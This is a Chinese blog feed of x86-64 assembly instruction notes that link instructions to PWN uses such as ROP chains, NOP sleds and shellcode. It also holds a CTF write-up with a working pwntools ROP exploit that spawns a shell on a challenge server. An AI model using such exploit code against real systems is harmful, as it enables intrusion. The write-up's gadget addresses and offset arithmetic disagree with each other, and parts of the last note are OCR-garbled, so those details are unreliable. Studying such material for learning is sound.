    test eax, eax     ; 等价于检查 eax 是否为 0
    jz   is_zero
```
- 检查某一 bit 是否被置位：
    ```
    test rax, 0x100
    jnz  bit_set
    ```
- 判断指针是否为空、标志位是否有效
- 协议解析（按位分解 flag 字段）
- 在逆向分析中常出现于权限检查或状态分支
- 在 PWN 调试中常用于理解验证逻辑是否被绕过

### 小例子：判断 eax 是否为偶数
```
test eax, 1
jz   even
```
原理：最低位为 0 → 偶数。

---</content:encoded></item><item><title>CALL</title><link>https://goosequill.erina.top/zh-cn/blog/202511224434/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511224434/</guid><description>CALL 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:44:00 GMT</pubDate><content:encoded>##  CALL（call）

### 基本作用
CALL 用于调用函数，以跳转到目标位置执行代码，同时保存返回地址，以便函数结束后返回到调用点。
### 指令执行过程
1. 将当前指令下一条指令的地址（返回地址）压入栈中

2. RIP 设置为调用目标地址

3. 开始执行新的代码路径

等效行为（x64）：
```
push rip_next
jmp target
```
### 指令格式

```

call rel32 ; 相对调用（最常见）

call rax ; 寄存器间接调用

call [rax] ; 内存间接调用

call qword ptr [...] ; 绝对调用

```

### 行为特性

- 修改 RSP（压入返回地址）

- 修改 RIP（跳转）

- 不修改 EFLAGS

- 栈结构变化对 PWN 有极大影响

- 是构造 ROP chain、劫持控制流的重要节点

  

### 常见用途

- 调用函数

- 动态解析函数地址（通过 call/pop 技巧）

- 控制流混淆（call 进入中间 Stub）

- 溢出利用中改变返回地址</content:encoded></item><item><title>JMP</title><link>https://goosequill.erina.top/zh-cn/blog/202511223708/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511223708/</guid><description>JMP 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:37:00 GMT</pubDate><content:encoded>##  JMP（jmp）

### 基本作用
JMP &lt;mark&gt;无条件跳转到指定地址&lt;/mark&gt;（立即数、寄存器、内存地址均可）。  
改变 RIP 流向，是控制流指令中最核心的指令之一。
### 指令执行过程
- 将目标地址写入 RIP
- 无条件转向新位置执行
- 不修改 EFLAGS

### 指令格式
```
jmp rel32          ; 相对跳转
jmp rax            ; 寄存器间接跳转
jmp [rax]          ; 内存间接跳转
jmp qword ptr [...] ; 绝对跳转
```
### 行为特性
- 不会返回
- 不影响寄存器（除 &lt;mark&gt;RIP--&gt;指令寄存器&lt;/mark&gt;）
- 用于控制流转移、尾调用优化
- 在 **PWN 中大量用于**：
    - 劫持控制流（ret2text / ret2csu / ret2shellcode）
    - ROP gadgets 中的跳转
    - 覆盖函数指针进行 exploit

### 常见用途
- 实现循环、分支
- 跳表、状态机
- Hook/patch 控制流
- ROP chain 构造
- 利用栈溢出劫持执行流进入 shellcode
---</content:encoded></item><item><title>SHR</title><link>https://goosequill.erina.top/zh-cn/blog/202511223622/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511223622/</guid><description>SHR 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:36:00 GMT</pubDate><content:encoded>##  SHR（shr）

### 基本作用
SHR（逻辑右移）将操作数右移 n 位，左侧用 0 填充。  
数学意义上为：`dest = floor(dest / 2^n)`。
### 指令执行过程
- 右移指定次数
- 左侧补 0
- 更新 CF、ZF、SF、OF
- 最后移出的 bit → CF

### 指令格式
```
shr r/m32, imm8
shr r/m64, imm8
shr r/m32, cl
shr r/m64, cl
```
### 行为特性
- 不保留符号 → 不适用于有符号除法
- 对无符号整数常用
- 和 SAR 区别明显（SAR 保留最高位符号）

### 常见用途
- 快速除以 2^n（无符号）
- Bitmask 清理
- 协议解析中右移字段
- 某些加密/编码算法的补丁点
---</content:encoded></item><item><title>SHL</title><link>https://goosequill.erina.top/zh-cn/blog/202511223500/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511223500/</guid><description>SHL 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:35:00 GMT</pubDate><content:encoded>##  SHL（shl）

### 基本作用
SHL（逻辑左移）将目的操作数向左移动 n 位，右侧用 0 填充。  
*数学意义*上相当于：`dest = dest * 2^n`。
### 指令执行过程
- 左移指定次数
- 右侧补 0
- 更新 CF、ZF、SF、OF 等标志位
- 最后一位移出的 bit → CF

### 指令格式
```
shl r/m32, imm8
shl r/m64, imm8
shl r/m32, cl
shl r/m64, cl
```
### 行为特性
- 逻辑运算，不考虑符号
- 对数值进行快速乘法
- 对标志位有强影响（尤其 CF、OF）

### 常见用途
- 快速乘以 2^n
- 地址计算（如结构体基址偏移）
- 位图构造
- ROP/shellcode 中&lt;mark&gt;构造大数&lt;/mark&gt;

---</content:encoded></item><item><title>NOT</title><link>https://goosequill.erina.top/zh-cn/blog/202511223359/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511223359/</guid><description>NOT 的导入笔记</description><pubDate>Sat, 22 Nov 2025 11:33:00 GMT</pubDate><content:encoded>##  NOT（not）

### 基本作用
NOT 对操作数执行按位取反：`dest = ~dest`。  
即所有 bit 0 → 1，1 → 0。
### 指令执行过程
- 逐 bit 取反
- 将结果写回目的操作数
- **不影响**任何 EFLAGS

### 指令格式
```
not r/m8
not r/m16
not r/m32
not r/m64
```
### 行为特性
- 单操作数指令
- 不修改标志位
- 可用于构造值、加密、掩码处理

### 常见用途
- 构造特殊立即数（配合 XOR、ADD 等）
- 逻辑运算中实现补码关系
- 反转所有 bit 用于校验、算法分析
- Shellcode 中避免直接出现某些字节

---</content:encoded></item><item><title>XOR</title><link>https://goosequill.erina.top/zh-cn/blog/202511222527/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511222527/</guid><description>XOR 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:25:00 GMT</pubDate><content:encoded>##  XOR（xor）

### 基本作用
XOR 指令对两个操作数执行按位异或：`dest = dest XOR src`。  
若两个对应 bit 相同则结果为 0，不同则为 1。  
执行完会更新 EFLAGS。
### 指令执行过程
- 计算异或结果
- 将结果写回目的操作数
- 更新 ZF、SF、PF 等标志位
- CF、OF 被置 0

### 指令格式
```
xor r/m32, r32
xor r/m64, r64
xor r/m32, imm32
xor r/m64, imm32
```
### 行为特性

- XOR REG, REG → &lt;mark&gt;将寄存器清零（经典快速清零方式）&lt;/mark&gt;
- 不产生进位
- 常用于&lt;mark&gt;加密/混淆逻辑&lt;/mark&gt; --&gt;rc4加密
- 速度快、编码短，是最常见的位运算之一

### 常见用途
- 清零寄存器：`xor eax, eax`
- 构造特定寄存器值
- 混淆算法、编码器、解密器
- Shellcode 中用于避免出现 badchar

---</content:encoded></item><item><title>OR</title><link>https://goosequill.erina.top/zh-cn/blog/202511222320/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511222320/</guid><description>OR 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:23:00 GMT</pubDate><content:encoded>##  OR（or）

### 基本作用
OR 执行逐位逻辑或运算：
```
x1 = x1 | x2
```
### 指令格式
```
or x1, x2
```
与 AND 相同的约束：
- x1 可为寄存器或内存
- x2 可为寄存器或立即数
- 不能内存对内存
### 行为特性
- 用于设置特定位
- CF 和 OF 清零
- 若结果为 0 → ZF = 1，否则 ZF = 0
### 示例
```
or eax, 1
; 设置最低位

or rax, rbx
or [rbp-8], 0x80
```
### 常见用途
- 设置标志位或掩码
- 合并标志
- 构造特定位图

---</content:encoded></item><item><title>AND</title><link>https://goosequill.erina.top/zh-cn/blog/202511222215/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511222215/</guid><description>AND 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:22:00 GMT</pubDate><content:encoded>##  AND（and）

### 基本作用
AND 进行逐位逻辑与运算：
```
x1 = x1 &amp; x2
```
### 指令格式
```
and x1, x2
```
x1 可为寄存器或内存  
x2 为寄存器或立即数  
但不能内存对内存
### 行为特性
- 常用于位清零
- ZF 若结果全零则被置位
- OF 和 CF 清零
- 不产生进位概念，因为是逻辑运算
### 示例
```
and eax, 0xFF
; 保留低 8 位

and rax, rbx
and [rbp-0x8], 0x1
```
### 常见用途
- 掩码操作 --&gt; IP&amp;24 子网掩码
- 位条件判断
- 对齐计算（如地址对齐到 4、8、16 字节）

例如对齐到 16 字节：

```
and rsp, -0x10
```

---</content:encoded></item><item><title>IDIV-DIV</title><link>https://goosequill.erina.top/zh-cn/blog/202511222126/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511222126/</guid><description>IDIV-DIV 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:21:00 GMT</pubDate><content:encoded>##  IDIV-DIV（idiv / div）

### 基本作用
IDIV → 有符号除法
DIV → 无符号除法  
结果布局：
- 商 → eax
- 余数 → edx

（或 rax / rdx）

##### IDIV（有符号）格式
```
idiv r/m32
; edx:eax ÷ r/m32
; 有符号除法
```
执行前需：
- 将 EDX 填入 EAX 的符号扩展（cdq 指令）
### DIV 指令格式（无符号）

```
div r/m8
; ax  ÷ r/m8
; al = 商
; ah = 余数

div r/m32
; edx:eax ÷ r/m32
; eax = 商
; edx = 余数
```
注意：执行前必须将 edx 清零（若被除数是 unsigned dword）。
### 行为特性
- 除数为 0 → 除零异常
- 商或余数超范围 → 溢出异常
- 隐式使用寄存器（AL/AX/EAX/RAX 和 AH/EDX/RDX）
    

### 示例
```
mov eax, 100
mov ecx, 7
xor edx, edx
div ecx
; eax = 14, edx = 2
```
有符号：
```
mov eax, -30
mov ecx, 4
cdq
idiv ecx
; eax = -7, edx = -2
```</content:encoded></item><item><title>IMUL-MUL</title><link>https://goosequill.erina.top/zh-cn/blog/202511222013/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511222013/</guid><description>IMUL-MUL 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:20:00 GMT</pubDate><content:encoded>##  IMUL-MUL（imul / mul）

### 基本作用
IMUL → 有符号乘法  
MUL → 无符号乘法
两者都可能涉及双寄存器结果（EDX:EAX 或 RDX:RAX）。

### IMUL 指令格式
共有三种：
1. 隐式形式（结果放入 edx:eax）

```
imul r/m32
; EDX:EAX = EAX * r/m32（有符号）
```
2. 显式二操作数

```
imul reg, r/m32
reg = reg * r/m32
```

3. 三操作数
    

```
imul reg, r/m32, imm
reg = r/m32 * imm
```

---

### MUL 指令格式（无符号）
```
mul r/m32      ; EDX:EAX = EAX * r/m32
```

MUL 没有显式的 reg = reg × x 形式。

### 行为特性
- 结果高位部分（EDX 或 RDX）用于判断是否溢出
- 若高位不为 0，OF = CF = 1
- 隐式形式必须使用累加寄存器（EAX / RAX）作为参与者
### 示例
```
mov eax, 5
imul eax, 3      ; eax = 15

mov eax, -10
imul eax, -4     ; eax = 40（有符号乘法）
```

隐式形式：
```
mov eax, 0x10000
imul dword ptr [rbp-4]  ; rdx:rax = rax * [rbp-4]
```
### 常见用途
- 数学计算
- 数组索引计算（index × element_size）
- 结构体偏移计算

---</content:encoded></item><item><title>SUB</title><link>https://goosequill.erina.top/zh-cn/blog/202511221913/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511221913/</guid><description>SUB 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:19:00 GMT</pubDate><content:encoded>##  SUB（sub）

### 基本作用
SUB 指令执行减法，将 x1 - x2 的结果写回 x1。
### 指令格式
```
sub x1, x2
x1 = x1 - x2
```
x1、x2 可以是：
- 寄存器
- 内存
- 立即数

限制：
- &lt;mark&gt; 两者不能同时是内存&lt;/mark&gt;

### 指令执行过程
```
x1 ← x1 - x2
EFLAGS ← 根据结果更新
```
影响的标志位：
- OF（有符号溢出）
- SF（符号）
- ZF（结果是否为 0）
- CF（用于判断是否借位）
- AF、PF

### 示例
```
sub eax, ebx
sub rax, 0x100
sub [rbp-0x4], 1
```
### 等效展开
```
sub rax, rbx
; 等价于
tmp = rax - rbx
rax = tmp
更新 EFLAGS
```
### 常见用途
- 自减、循环计数
- 栈指针上移（如 sub 操作的逆过程）
- 数值计算
- 地址偏移（如从结构体中向后移动）

---</content:encoded></item><item><title>ADD</title><link>https://goosequill.erina.top/zh-cn/blog/202511221655/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511221655/</guid><description>ADD 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:16:00 GMT</pubDate><content:encoded>##  ADD（add）

### 基本作用
ADD 指令进行加法运算，将 x1 + x2 的结果写入 x1。  
同时&lt;mark&gt;会影响多项 EFLAGS 标志位&lt;/mark&gt;。
### 指令格式
```
add x1, x2
x1 = x1 + x2
```
x1、x2 类型：
- 寄存器
- 内存
- 立即数  
    （两者不能同时为内存）

### 指令执行过程
```
x1 ← x1 + x2
EFLAGS ← 根据结果更新
```
受影响的标志位包含：
- OF（溢出）
- SF（符号）
- ZF（零）
- CF（进位）
- AF、PF

### 示例
```
add eax, ebx      ;寄存器 寄存器
add rax, 0x20.    ;寄存器 立即数
add [rbp-0x4], 1  ; 内存 立即数
```

### 等效展开示例
```
add rax, rbx
; 等价于
tmp = rax + rbx
rax = tmp
更新 EFLAGS
```
### 常见用途
- 指针偏移
- 自增、累加
- 整数运算
- 构造循环计数器
- 栈地址计算（如 add rsp, 0x20）
    

---</content:encoded></item><item><title>LEA</title><link>https://goosequill.erina.top/zh-cn/blog/202511221611/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511221611/</guid><description>LEA 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:16:00 GMT</pubDate><content:encoded>##  LEA（lea）

### 基本作用
LEA（Load Effective Address）用于计算并加载一个“有效地址表达式”的值，而不是访问该内存地址。  
它本质是一个算术指令，而非内存读取指令。
### 指令格式
```
lea rX, [address_expression]
rX = 计算 [ ] 内的表达式
```
### 行为特性
- 不访问内存，只计算地址
- 常用于指针运算
- 能替代加法、乘法（编译器常用）
- 可实现基址 + 索引 × scale + 偏移 的完整表达式

### 示例
```
lea rbx, [rdx + rax*4 + 0x10]
; 等效于：
rbx = rdx + rax*4 + 0x10
```
### 常见用途
- 指针偏移计算
- 结构体字段偏移计算
- 快速加法/乘法替代（如 lea rax, \[rax+rax_2\] = rax_3）
- 在编译器优化中广泛用于减少算术指令
    

---</content:encoded></item><item><title>MOV</title><link>https://goosequill.erina.top/zh-cn/blog/202511221504/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511221504/</guid><description>MOV 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:15:00 GMT</pubDate><content:encoded>##  MOV

## MOV（mov）
### 基本作用
MOV 指令用于将源操作数的值复制到目标操作数。  
这是最常用的指令之一，用于数据传输。
### 指令格式
```
mov dst, src
dst = src
```
允许：
- 寄存器 ← 寄存器
- 寄存器 ← 内存
- 内存 ← 寄存器
- 寄存器 ← 立即数
- 内存 ← 立即数
禁止：
- 内存 ← 内存
    

### 行为特性
- 对齐与选择不同大小会触发自动扩展（如 movzx、movsx）
- 不会修改 &lt;mark&gt;EFLAGS&lt;/mark&gt; （重点）
- 可以实现零扩展（mov r32 → 自动清高 32 位）
    

示例：
```
mov eax, [rbp-0x10]
mov [rbp-0x8], rax
mov ecx, 0x1234
```
### 等效分析
MOV 是纯粹的数据复制操作，可视为：
```
dst = src
```
理解 MOV 非常有助于掌握函数参数传递与 ABI 下的寄存器行为。
### 常见用途
- 传递变量
- 初始化寄存器
- 改变指针位置
- 保存和恢复值

---</content:encoded></item><item><title>POP</title><link>https://goosequill.erina.top/zh-cn/blog/202511221401/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511221401/</guid><description>POP 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:14:00 GMT</pubDate><content:encoded>## POP（pop）

### 基本作用
POP 指令将栈顶数据弹出到目标操作数中，然后上移栈指针。  
与 PUSH 相反，POP 会使 ESP/RSP 增加。
### 指令执行过程
64 位：
```
操作数 = [rsp]
rsp = rsp + 8
```
32 位：
```
操作数 = [esp]
esp = esp + 4
```
### 指令格式
允许以下操作数：
- pop r/m16
- pop r/m32
- pop r/m64

不允许：
- pop 内存到内存
- pop 立即数

### 行为特性
- 栈指针向上移动
- 原栈数据不会被清空，只是逻辑上失效
- POP 不能直接弹立即数
- 弹入目标寄存器需要匹配大小（pop rax → 8 bytes）

### 等效展开示例
```
pop rax
; 等价于
mov rax, [rsp]
add rsp, 8
```
### ASCII 栈示意
执行前：
```
rsp → +------------------+
      |   要弹出的值       |
      +------------------+
```
执行 pop rax 后：
```
rsp → +------------------+
      |   （旧数据）       |
      +------------------+
;       rax = 原栈顶值
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511221514486.png)
⚠️注意，这里的 `0x0012FF88` 处的栈数据不会被清空，但程序正常执行时会覆盖
### 常见用途
- 恢复保存的寄存器
- 函数返回前恢复栈状态
- 移动栈顶跳过数据
- PWN 中用于 stack pivot 或栈调节

---</content:encoded></item><item><title>PUSH</title><link>https://goosequill.erina.top/zh-cn/blog/202511220928/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511220928/</guid><description>PUSH 的导入笔记</description><pubDate>Sat, 22 Nov 2025 07:09:00 GMT</pubDate><content:encoded>##  PUSH（push）

### 基本作用
PUSH 指令将一个操作数压入栈中，并更新栈顶指针。  
栈在 x86/x64 中向低地址增长，因此 PUSH 会减少 ESP/RSP 的数值，再把数据写入新栈顶。
### 指令执行过程
以 64 位为例：
```
rsp = rsp - 8
[rsp] = 操作数
```
32 位为：
```
esp = esp - 4
[esp] = 操作数
```
### 指令格式
允许以下操作数：
- push r/m16
- push r/m32
- push r/m64
- push imm8 / imm16 / imm32（在 x64 会符号扩展为 64 位）

立即数 push 的符号扩展是 PUSH 的一个独特行为。
### 行为特性
- 栈指针向下移动
- 写入值不会清空旧内存，只是覆盖
- 立即数会进行 sign-extend（push imm32 → 64bit）
- 操作数不能为两个内存地址
- 栈布局会改变，影响函数调用偏移计算

### 等效展开示例
```
push rax
; 等价于
sub rsp, 8
mov [rsp], rax
```

```
push 0x1234
sub rsp, 8
mov qword ptr [rsp], 0x0000000000001234
```
### ASCII 栈变化示意
执行前：
```
rsp → +------------------+
      |   （旧栈数据）    |
      +------------------+
```

执行 push rax 后：
```
      +------------------+
rsp → |     rax 的值      |
      +------------------+
      |   （旧栈数据）    |
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511221512956.png)
### 常见用途
- 保存寄存器内容
- 函数调用时压入参数
- 对齐栈空间
- 临时保存数据
- PWN 中用于控制栈布局、覆盖返回地址

---</content:encoded></item><item><title>NOP</title><link>https://goosequill.erina.top/zh-cn/blog/202511225944/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511225944/</guid><description>NOP 的导入笔记</description><pubDate>Sat, 22 Nov 2025 06:59:00 GMT</pubDate><content:encoded>##  NOP（nop）

### 基本作用
NOP（No Operation）指令表示空操作，即执行该指令后，处理器不会修改任何寄存器、不会访问内存、不会改变 EFLAGS，也不会影响程序逻辑流程。
它唯一的效果是占用一个 CPU 指令周期，使程序继续顺序执行下一条指令。
### 指令执行过程
NOP 的内部行为可以理解为：
```
; 执行后 CPU 状态不变
```
在微架构层面，它通常被实现为一种特殊标记，用于指令流水线填充或对齐，不会产生真正的读写动作。
### 指令格式
NOP 指令只有一种形式：
```
nop
```
但在汇编器中，也可使用多字节 NOP 来进行指令对齐，例如：
```
nop
nop DWORD ptr [rax+rax]
```
这些由编译器生成的多字节 NOP 具有相同目的：填充空间、对齐地址。
### 行为特性
- 不修改寄存器内容

- 不访问内存

- 不改变 EFLAGS

- 不影响控制流

- 可用于调试、补丁修改、填充指令对齐

- 多字节 NOP 常用于性能优化（如 16 字节对齐循环体）

##### 等效指令分析
从逻辑角度看，NOP 的效果相当于：
```
mov eax, eax
```
即对寄存器进行一次自赋值，但真正的 NOP 不会实际读写寄存器，因此更轻量。

汇编优化器也可能用其他永远不改变状态的伪指令模拟 NOP，例如：
```
lea rax, [rax]
```
但这些替代写法都不如原生 `nop` 纯粹。
### 常见用途
- 机器码补丁：给未来指令预留字节空间

- 调试：替换某条危险指令保持程序继续运行

- 对齐代码：提高 CPU 指令预取和分支预测性能

- 修补跳转偏移：用 NOP 填补空洞

- 构造 shellcode 时，用作 NOP sled（用于滑进 payload）

  

---</content:encoded></item><item><title>汇编指令</title><link>https://goosequill.erina.top/zh-cn/blog/202511055717/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511055717/</guid><description>汇编指令 的导入笔记</description><pubDate>Wed, 05 Nov 2025 12:57:00 GMT</pubDate><content:encoded># 汇编指令总览
## 写在前面
本笔记作为整个汇编指令体系的入口，用于构建读者的整体视角。汇编语言指令众多，如果没有合理的结构，会让人感觉碎片化、难以理解。  
为解决这一点，本笔记采用分层方式组织所有指令：

第一级（当前文档）：说明分类脉络、全局框架、学习策略。  
第二级：依照功能划分指令类别。  
第三级：每条指令独立成文，包含语义、行为、影响寄存器、常见陷阱以及 PWN 中的注意事项。

所有具体指令的细节都属于第三级，本笔记不展开。

## 分类脉络说明

x86_64 指令集虽然庞大，但在逆向分析和 PWN 中真正常用的部分，可以自然分为若干功能模块。  
这些模块并非死板的知识分类，而是从“程序行为逻辑”角度划分的：

运算类 —— 修改数据  
数据传输类 —— 在寄存器与内存之间移动数据  
栈与调用类 —— 函数调用链、栈帧变化  
控制流类 —— 程序走向如何改变  
逻辑与位操作 —— 数据的结构级处理  
系统接口类 —— 与系统调用相关（可选）

这些模块构成程序行为的完整闭环：  
数据从哪里来、如何被处理、怎么被推进栈、如何跳转、如何返回。

第二级笔记将围绕这些分类展开。

## 二级分类说明（用于下级分支结构）

下面是推荐的功能型分类，这将成为你的 Obsidian 二级分支：
[[运算与逻辑类]]
处理数据内容，包含算术运算与逻辑运算。  
对应常见场景：解密、长度计算、循环计数器运转。
[[数据传输类]]
在寄存器 / 内存 / 栈之间移动数据。  
是理解任意汇编的基础路径。
[[栈与调用类]]

函数调用栈的建立与销毁，PWN 中最敏感的一组指令。  
涉及 push、pop、call、leave、ret 等。
[[控制流与分支类]]

程序逻辑的流动决定点，包括无条件跳转与条件跳转。  
特别包括 jcc 的大分类。
[[位操作与移位类]]

处理位级结构，如加密、hash、校验、指针运算等。

字符串和块操作（可选）
如 rep、movs、stos 等。逆向中出现频率不高，但理解后有很大价值。

系统调用相关（可选）

如 syscall、int80。对 PWN 有直接关联。

这些将分别成为第二级笔记的主分类节点。

## 纵览表（无双链）

以下为你的整个指令库的总览结构，不包含跳转，仅用于帮助读者形成整体图景：

运算与逻辑类

- add
    
- sub
    
- inc
    
- dec
    
- xor
    
- not
    
- and
    
- or
    

数据传输类

- mov
    
- lea
    
- push
    
- pop
    

栈与调用类

- call
    
- ret
    
- leave
    

控制流类

- jmp
    
- jcc 系列（je, jne, ja, jb, jge, jle 等）
    

移位与位操作类

- shl
    
- shr
    
- rol
    
- ror
    

其他

- nop
    
- 特殊指令（如 syscall 等）
    

## 使用方式说明

为了让本知识库更像一本不断扩展的“逆向字典”，推荐以下使用方式：

遇到汇编 → 按类别快速定位 → 查第三级对应指令  
同时，通过分类回溯，可以理解指令“为什么在这里出现”和“关系为何”。

本笔记的角色是提供指引与框架，而不是收录细节。  
你所有指令笔记已经写好，因此只需在二级分支处按照本结构创建空文档或目录即可。</content:encoded></item><item><title>GFCTF 2021where_is_shell</title><link>https://goosequill.erina.top/zh-cn/blog/202511034732/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511034732/</guid><description>GFCTF 2021where_is_shell 的导入笔记</description><pubDate>Mon, 03 Nov 2025 11:47:00 GMT</pubDate><content:encoded>&gt; [!note]
&gt; 关联入口：[[PWN题目索引]]
##  GFCTF 2021where_is_shell

## 题目介绍
[题目链接🔗](https://www.nssctf.cn/problem/889)
这道题我将打算记录两种写法，一种是简单的栈溢出构造ROP链，另一种有些南辕北辙了，但对于初学者的我而言，正好可以练习下栈迁移
本题属于简单题，需要注意一下 &lt;mark&gt;栈对齐&lt;/mark&gt; （ubantu18之后的新规定）
还有就是，机器码的细节点:
`24 30` --(ASCII)--&gt; `$0`  --&gt; `/bin/sh` 

## 解题过程
### 栈溢出
#### 整体思路
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511261857331.png)
首先去看 `main` 函数，存在栈溢出漏洞
$$38h - 10h = 56 - 16 = 40(bit)$$
计算得，可以溢出40bit的数据，这可以构造一个简短的ROP链了，本题如果能注意到机器码的细节，就可以轻松解决找不到 `/bin/sh` 字符串的问题（ps： `$0` 等价于 `/bin/sh` ）
#### ROP
##### /bin/sh
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511032012107.png)
本道题就给了两个函数，一个是 `main` 另一个是 `tips` 一开始对于这里的 `call` 汇编指令，后面给了地址，以为是动调后会出现的提示信息，结果这里的 `call` 对应的汇编二进制代码为 `E8` 
十六进制 `0x24`、`0x30` 对应的 ASCII 字符分别是 `$` 和 `0`。  
`0x24 0x30` 看到在二进制里会被显示为 `&quot;$0&quot;`（两个字符的字节序列）。
。。。
至此，我们找到了 `/bin/sh` 的等价”字符串“ sh_addr = 0x400540 + 1 （跳过 E8）
```bash
sh_addr = 0x400541
```
##### system函数
这里有一个需要注意的点， `system` 是函数库内的函数，经由got表于plt表动态绑定，所以可以在main函数中看到 `_system` 双击跳转到 `plt表` 
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511032025291.png)

![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511261857331.png)
这里想说明的是，我们在构造payload时，调用系统函数（存在于静态文件内的）地址，要填写plt表内的函数地址(0x400430)，而不是text段的地址（0x400548)   (原因不清楚，只是我脚本里调用text段的地址没有效果)
```bash
sys_addr = 0x400430
```
##### payload构造
对此，我们只缺一个 `pop_rdi_ret` 和 `ret` 的gadget，便可以完成这个简短的ROP链
通过 `ROPgadget` 查找
```bash
ROPgadget --binary ./shell --only &quot;pop|ret&quot;
```
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511032031038.png)
幸运的是，成功找到
```bash
pop_rdi_ret = 0x4005e3
ret_addr = 0x400416
```
将上述汇总，我们就得到了完整的payload
```bash
from pwn import *
HOST = &quot;node4.anna.nssctf.cn&quot;
PORT = 28752

p = remote(HOST,PORT)
# text:0000000000400540 E8 24 30 00 00 call near ptr 403569h
sh_addr = 0x400541 # 24 30 --&gt; $0 --&gt; &quot;bin/sh&quot;
sys_addr = 0x400430 # 这里选用的是plt段的system地址
pop_rdi_ret = 0x4005e3
ret_addr = 0x40057D


payload = b&apos;a&apos; * 24
payload += p64(ret_addr)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(sys_addr)

p.recvuntil(&quot;zltt lost his shell, can you find it?&quot;)
p.sendline(payload)
p.interactive()
```

### 栈迁移
#### 整体思路
### ROP
#### 寻找偏移地址
#### payload构造


### 总结
#### 什么时候要去栈对齐？
还记得之前就说的Ubuntu18吗？它的作用现在就显现出来了：
Ubuntu18及以上版本的系统要求**在调用system函数时栈16字节对齐**
意思是说在调用system时rip的值必须为16的倍数（也就是末位为0）
这也解释了为什么有些很简单的栈溢出题目，如果直接跳转到调用system的后门函数的地址会失败，因为有push ebp(rbp)，导致栈没有对齐。而直接跳转到system(“/bin/sh”)函数就没有问题。
#### 栈对齐的两种解决方法
单独做一篇文章
1. 在调用函数地址时把push rbp给跳过去，将shellcode函数的地址+1，或者直接将shellcode的地址设置为system的地址
2. 在目标指令比如pop rdi、call [system]之前先ret一次，rip地址的末位会由原来的8变为0，保证栈对齐

在本题中，由于没有直接的system(“/bin/sh”)可以调用，所以用不到第一种方法，就只能用第二种方法：在pop rdi；ret 指令的地址前加上ret 指令的地址</content:encoded></item><item><title>x86架构基础知识</title><link>https://goosequill.erina.top/zh-cn/blog/202511025719/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202511025719/</guid><description>x86架构基础知识 的导入笔记</description><pubDate>Sun, 02 Nov 2025 06:57:00 GMT</pubDate><content:encoded>#  x86架构基础知识

### 进制
二进制这一块，不用多说，需要掌握的就是短除法去10进制 -&gt; 2进制
然后理解门电路如何完成加法的
### 字节序


### 程序执行流程
[[CPU执行程序详解]]
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021506649.png)
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511021516940.png)

## 数据存储
[[cpu内部的数据存储]]
### 立即数

### 寄存器
x86-32 位所含有的寄存器有：
- ﻿﻿**4个数据寄存器（EAX、EBX、ECX 和 EDX）**
- ﻿**2个变址寄存器（ESI 和 EDI）**
- ﻿﻿**2个指针寄存器（ESP和E昭P）**

- ﻿﻿6个段奇存器（ES、CS、SS、DS、FS 和GS）
- ﻿﻿**1个指令指针寄存器（EIP）**
- ﻿**1个标志寄存器（eflags）**
- ﻿9个控制寄存器（CRO-CR8）
- ﻿﻿3保护模式寄存器（GDTR,LDTR,IDTR）
### 栈

### 堆

### 进程空间布局
[[进程空间布局]]
## 汇编指令
[[汇编指令]]
#### NOP（nop）
#### PUSH（push）
PUSH 指令将数据压入栈中。
指令格式为 pushX。
xajEX imm8, imm16, imm32, k/m16, r/m32, r/m64.
栈指针寄存器 ESP（RSP）自动递减。
eg: push eax
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511031805432.png)

#### POP（pop）
POP指令从栈中弹数据。
指令格式为 popx。
× PJEX r/m16, г/m32, r/m64.
栈指针寄存器 ESP（RSP）自动递增。
eg: pop eax
![image.png](https://chenhun.oss-cn-beijing.aliyuncs.com/photo/202511031811411.png)
⚠️注意，这里的 `0x0012FF88` 处的栈数据不会被清空，但程序正常执行时会覆盖
